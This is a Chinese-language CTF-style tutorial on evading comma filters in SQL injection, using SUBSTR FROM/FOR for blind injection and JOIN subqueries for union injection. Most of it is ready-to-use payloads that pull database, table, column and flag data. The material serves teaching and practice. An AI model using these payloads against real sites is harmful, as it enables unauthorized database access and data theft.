简介
所以为了避免逗号被过滤,我们来看看如何绕过叭
一、From for 绕过
我们直接看一个题目:
id=1 页面输出hello user
id=1 and 1=1%23 页面返回hello user
id=1' and 1=1%23 页面不返回数据
符合盲注,并且是一个数字型的sql注入,尝试使用盲注
id=1 and ascii(substr((select database()),1,1))=119
提示hacker,很明显被过滤了,尝试使用from for绕过
id=1 and (ascii(substr((select database())from(1)for(1)))=119)%23
页面回显hello,user 说明绕过成功,使用burp的intruder模块进行爆破,下面的这些payload,同样需要使用burp的intruder模块进行爆破
获取表名
id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())from(1)for(1)))=102%23
获取列名
id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag')from(2)for(1)))=108%23
获取数据
id=1 and ascii(substr((select flag from flag)from(1)for(1)))=102%23
二、Limit offset绕过
从第1条数据开始,返回两条数据
select * from user limit 2 offset 1;
从第0条数据开始,返回两条数据
select * from user limit 2 offset 0;
三、join 绕过
select 子查询
直接练习:
注入点测试
username=admin&password=admin 没有回显
username=admin' and 1=1%23 改一下username,闭合注入点,页面回显admin 说明存在注入,并且是字符型的sql注入
猜测列数
username=admin' order by 3%23
测回显位时发现被过滤了:
测试回显位
username=admin' union select 1,2,3%23 被过滤
username=admin' union%23 没被过滤
username=admin' union select 没被过滤
username=admin' union select 1, 被过滤
说明逗号被过滤
尝试使用join 绕过逗号
逗号绕过
username=admi' union select * from ((select 1)A join (select 2)B join (select 3)C)%23&password=s
页面回显2 说明第二位是回显位,之后的payload如下:
拿数据库名
username=admi' union select * from ((select 1)A join (select database())B join (select 3)C)%23&password=s
拿表名
username=admi' union select * from ((select 1)A join (select group_concat(table_name) from information_schema.tables where table_schema=database())B join (select 3)C)%23&password=s
拿列名
username=admi' union select * from ((select 1)A join (select group_concat(column_name) from information_schema.columns where table_name='flag')B join (select 3)C)%23&password=s
拿数据
username=admi' union select * from ((select 1)A join (select flag from flag)B join (select 3)C)%23&password=s